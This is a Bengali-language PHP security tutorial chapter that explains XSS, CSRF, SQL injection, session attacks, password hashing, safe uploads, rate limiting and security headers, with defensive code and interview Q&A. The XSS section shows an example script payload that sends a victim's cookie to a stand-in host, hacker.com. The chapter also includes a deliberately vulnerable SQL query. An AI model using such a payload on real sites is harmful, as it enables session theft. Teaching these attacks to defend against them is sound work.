সিকিউরিটি (The Fortress)

একজন সিনিয়র ডেভেলপারের প্রধান দায়িত্ব ফিচার বানানো নয়, বরং অ্যাপলিকেশন এবং ইউজার ডেটা সুরক্ষিত রাখা

এই অধ্যায়ে আমরা শিখব কীভাবে আপনার পিএইচপি অ্যাপ্লিকেশনকে হ্যাকারদের আক্রমণ থেকে রক্ষা করবেন। মনে রাখবেন, "Security is not a feature, it's a process."

১২.১ XSS (Cross-Site Scripting)

XSS কী? যখন হ্যাকার আপনার সাইটের ইনপুট ফিল্ড (যেমন কমেন্ট বক্স বা সার্চ বার) ব্যবহার করে জাভাস্ক্রিপ্ট কোড ইনজেক্ট করে এবং সেই কোড অন্য ইউজারের ব্রাউজারে রান করে।

⚠️ উদাহরণ:

হ্যাকার কমেন্টে লিখল: <script>fetch('http://hacker.com?cookie='+document.cookie)</script>

সাধারণ ইউজার সেই কমেন্ট দেখলেই তার কুকি চুরি হয়ে হ্যাকারের কাছে চলে যাবে।

🔥 ফিক্স ১: আউটপুট এস্কেপিং (Escaping)

// ❌ ভুল (Direct Echo)
echo $username;

// ✅ সঠিক (Output Escaping)
echo htmlspecialchars($username, ENT_QUOTES, 'UTF-8');

🔍 ENT_QUOTES কেন?
এটি সিঙ্গেল কোট (') এবং ডাবল কোট (") দুটোকেই এস্কেপ করে। ফলে হ্যাকার জাভাস্ক্রিপ্ট অ্যাট্রিবিউট ব্রেক করতে পারে না।

🔥 ফিক্স ২: HTML Purifier (Rich Text এর জন্য)

যদি আপনি ইউজারকে HTML লিখতে দেন (যেমন ব্লগ পোস্ট), তবে htmlspecialchars কাজ করবে না। তখন HTML Purifier লাইব্রেরি ব্যবহার করতে হবে। এটি ক্ষতিকর ট্যাগ (<script>, <iframe>) ফেলে দেয় কিন্তু <b>, <p> রাখে।

🔥 ফিক্স ৩: Content Security Policy (CSP)

এটি ব্রাউজারকে বলে দেয় কোন সোর্স থেকে স্ক্রিপ্ট রান করা নিরাপদ।

header("Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.com");

এটি থাকলে হ্যাকার স্ক্রিপ্ট ইনজেক্ট করলেও ব্রাউজার তা ব্লক করে দেবে।

১২.২ CSRF (Cross-Site Request Forgery)

CSRF কী? ধরুন আপনি ব্যাংকের সাইটে লগিন করা আছেন। হ্যাকার আপনাকে একটি লোভনীয় ইমেইল পাঠাল। আপনি লিংকে ক্লিক করলেন, আর ব্যাকগ্রাউন্ডে আপনার ব্যাংক থেকে টাকা ট্রান্সফার হয়ে গেল।

🔍 কেন এমন হয়?

ব্রাউজার অটোমেটিক্যালি সব রিকোয়েস্টের সাথে কুকি পাঠিয়ে দেয়। ব্যাংক সার্ভার মনে করে আপনিই টাকা পাঠাচ্ছেন।

🔥 ফিক্স ১: CSRF টোকেন (The Shield)

প্রতিটি POST রিকোয়েস্টে একটি ইউনিক, গোপন টোকেন থাকতে হবে যা হ্যাকার জানে না।

// Backend (Token Generation)
if (empty($_SESSION['csrf_token'])) {
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}

// Frontend (HTML Form)
<input type="hidden" name="csrf_token" value="">

// Verification
if (!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
    die("CSRF Attack Detected!");
}

🔥 ফিক্স ২: SameSite Cookie

setcookie('session', 'value', ['samesite' => 'Strict', 'secure' => true]);

এটি ব্রাউজারকে বলে দেয়, অন্য সাইট থেকে রিকোয়েস্ট আসলে কুকি পাঠাবে না।

১২.৩ SQL ইনজেকশন (Database Killer)

আমরা অধ্যায় ৯-এ এটি দেখেছি, কিন্তু সিকিউরিটিতে এটি বারবার আসবে।

❌ Vulnerable

$sql = "SELECT * FROM users WHERE id = " . $_GET['id'];

✅ Secure (PDO Prepared Statement)

$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$_GET['id']]);

💡 Senior Insight: কখনোই mysqli ব্যবহার করবেন না যদি না আপনি লিগ্যাসি কোডে কাজ করেন। সবসময় PDO ব্যবহার করুন।

১২.৪ সেশন হাইজ্যাকিং (Session Hijacking)

ঘটনা: হ্যাকার আপনার সেশন আইডি (PHPSESSID) চুরি করে (XSS বা নেটওয়ার্ক স্নিফিং করে) এবং সার্ভারকে বোকা বানিয়ে আপনার অ্যাকাউন্টে ঢুকে পড়ে।

🔥 ফিক্স ১: সেশন রিজেনারেট (Regenerate ID)

লগিন করার সাথে সাথে পুরনো সেশন আইডি ফেলে দিয়ে নতুন আইডি দিতে হবে।

// লগিন সাকসেস হওয়ার পর
session_regenerate_id(true); // true মানে পুরনো সেশন ডিলিট করে দাও

🔥 ফিক্স ২: HttpOnly এবং Secure Flag

ini_set('session.cookie_httponly', 1); // জাভাস্ক্রিপ্ট কুকি পড়তে পারবে না (XSS প্রটেকশন)
ini_set('session.cookie_secure', 1);   // শুধু HTTPS এ কাজ করবে

১২.৫ সেশন ফিক্সেশন (Session Fixation)

এখানে হ্যাকার আগেই আপনাকে একটি সেশন আইডি দেয় (যেমন লিংকের মাধ্যমে: site.com/?PHPSESSID=hacker_id)। আপনি যখন লগিন করেন, আপনার অ্যাকাউন্ট ওই হ্যাকারের সেট করা আইডির সাথে লিঙ্ক হয়ে যায়।

✅ ফিক্স: session_regenerate_id(true)

লগিন করলেই আইডি বদলে যাবে, তাই হ্যাকারের কাছে থাকা আইডি অকেজো হয়ে যাবে।

১২.৬ পাসওয়ার্ড হ্যাশিং (Cryptography)

কখনোই প্লেইন টেক্সট পাসওয়ার্ড সেভ করবেন না। MD5 এবং SHA1 এখন মৃত (Broken)।

✅ সঠিক পদ্ধতি: password_hash

// পাসওয়ার্ড সেভ করার সময়
$hash = password_hash($password, PASSWORD_BCRYPT); 
// অথবা PASSWORD_ARGON2ID (PHP 7.2+, আরও শক্তিশালী)

// লগিন চেক করার সময়
if (password_verify($userInputPassword, $storedHash)) {
    // Success
}

❓ কেন Salt ম্যানুয়ালি দেবেন না?
পিএইচপি নিজেই এখন র‍্যান্ডম সল্ট জেনারেট করে এবং হ্যাশের সাথে সেভ করে। ম্যানুয়ালি সল্ট দেওয়া এখন ব্যাড প্র্যাকটিস।

১২.৭ ইনপুট ভ্যালিডেশন লেয়ারস (Defense in Depth)

একজন সিনিয়র ডেভেলপার ইনপুটকে ৫টি স্তরে চেক করেন:

1️⃣ Client-side: (JS/HTML5) - এটি শুধু UX এর জন্য, সিকিউরিটি নয়
2️⃣ WAF: ক্লাউডফ্লেয়ার বা এডব্লিউএস লেভেলে ব্যাড বট ব্লক করা
3️⃣ Sanitization: ইনপুট ক্লিন করা
$email = filter_var($_POST['email'], FILTER_SANITIZE_EMAIL);
4️⃣ Validation: ইনপুট লজিক্যালি ঠিক আছে কি না দেখা
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) { throw ... }
5️⃣ Database Constraint: ডাটাবেস লেভেলে UNIQUE, NOT NULL, FOREIGN KEY চেক

১২.৮ সিকিউর ফাইল আপলোড

ফাইল আপলোড নিয়ে অধ্যায় ১১-তে আলোচনা হয়েছে, এখানে সিকিউরিটি ফোকাসড টিপস:

  • Doppelganger Extension: হ্যাকার ফাইলের নাম দিতে পারে shell.php.jpg। অ্যাপাচি অনেক সময় কনফিগ ভুলের কারণে একে পিএইচপি হিসেবে রান করে।
  • ফিক্স: ফাইলের নাম রিনেম করে র্যান্ডম স্ট্রিং দিন (a1b2.jpg)
  • MIME Check: finfo_file ব্যবহার করুন, $_FILES['type'] বিশ্বাস করবেন না
  • No Executable Folder: আপলোড ফোল্ডারে .htaccess বা Nginx কনফিগ দিয়ে স্ক্রিপ্ট রান বন্ধ করুন

১২.৯ রেট লিমিটিং (DDoS Protection)

বট বা হ্যাকাররা সেকেন্ডে হাজার হাজার রিকোয়েস্ট পাঠাতে পারে।

📦 Redis দিয়ে রেট লিমিট:

$userIp = $_SERVER['REMOTE_ADDR'];
$key = "rate_limit:" . $userIp;
$limit = 100; // প্রতি মিনিটে ১০০ রিকোয়েস্ট

$current = $redis->incr($key);
if ($current === 1) {
    $redis->expire($key, 60);
}

if ($current > $limit) {
    header("HTTP/1.1 429 Too Many Requests");
    exit("Slow down!");
}

১২.১০ সিকিউর হেডার্স (OWASP Recommended)

সার্ভারের রেসপন্স হেডারে এই ফ্ল্যাগগুলো সেট করলে ব্রাউজার অনেক অ্যাটাক নিজে থেকেই ঠেকিয়ে দেয়।

Headerকাজ
Strict-Transport-Securityব্রাউজারকে বাধ্য করে সবসময় HTTPS ব্যবহার করতে
X-Content-Type-Options: nosniffব্রাউজারকে ফাইল টাইপ গেস (Sniff) করতে বাধা দেয়
X-Frame-Options: DENYআপনার সাইটকে কেউ iframe এর ভেতর লোড করতে পারবে না (Clickjacking প্রতিরোধ)
X-XSS-Protection: 1; mode=blockব্রাউজারের বিল্ট-ইন XSS ফিল্টার চালু করে

🎯 Senior Developer Interview Questions (Chapter 12)

Q: htmlspecialchars এবং strip_tags এর মধ্যে পার্থক্য কী? XSS রোধে কোনটি ভালো?

strip_tags ট্যাগ মুছে ফেলে, যা ডাটা লস করতে পারে। htmlspecialchars ট্যাগগুলোকে এনটিটিতে কনভার্ট করে (< হয়ে যায় &lt;), ফলে ডাটা থাকে কিন্তু স্ক্রিপ্ট রান করে না। XSS এর জন্য htmlspecialchars বেস্ট।

Q: সেশন ফিক্সেশন (Session Fixation) অ্যাটাক কী এবং কীভাবে প্রতিরোধ করবেন?

হ্যাকার ইউজারকে একটি প্রি-ডিফাইনড সেশন আইডি দেয়। ইউজার লগিন করলে হ্যাকার ওই আইডি দিয়ে ইউজারের অ্যাকাউন্টে ঢুকে পড়ে। প্রতিরোধ: লগিন সফল হওয়ার পর session_regenerate_id(true) কল করা।

Q: পাসওয়ার্ড হ্যাশিংয়ে Salt এর কাজ কী? password_hash এ কি সল্ট দিতে হয়?

Salt হলো র‍্যান্ডম স্ট্রিং যা রেইনবো টেবিল অ্যাটাক প্রতিরোধ করে। আধুনিক password_hash ফাংশন অটোমেটিক্যালি সল্ট জেনারেট ও ম্যানেজ করে, তাই ম্যানুয়ালি দেওয়ার প্রয়োজন নেই (এবং দেওয়া উচিত নয়)।

Q: CSRF টোকেন কেন দরকার? SameSite কুকি কি যথেষ্ট নয়?

SameSite কুকি আধুনিক ব্রাউজারে ভালো কাজ করে, কিন্তু পুরনো ব্রাউজার সাপোর্টের জন্য এবং ডিফেন্স-ইন-ডেপথ (Defense in Depth) এর জন্য CSRF টোকেন ব্যবহার করা জরুরি।

🎯 অধ্যায় ১২ এর সারাংশ (Summary)

এই অধ্যায়ে আমরা শিখলাম:

  • XSS: htmlspecialchars, CSP headers
  • CSRF: Tokens + SameSite cookies
  • SQL Injection: PDO Prepared Statements only
  • Session Security: session_regenerate_id, HttpOnly, Secure flags
  • Password Hashing: password_hash (BCRYPT/ARGON2ID)
  • Rate Limiting: Redis-based throttling (429 response)

✨ অভিনন্দন! আপনি এখন জানেন কীভাবে একটি এন্টারপ্রাইজ গ্রেড সিকিউর অ্যাপ্লিকেশন তৈরি করতে হয়।

🚀 PHP Senior Journey: 12/12 Chapters Completed! 🎉

🔒 কপিরাইট সুরক্ষিত কন্টেন্ট 🔒

কপি, স্ক্রিনশট, প্রিন্ট করা সম্পূর্ণ নিষিদ্ধ।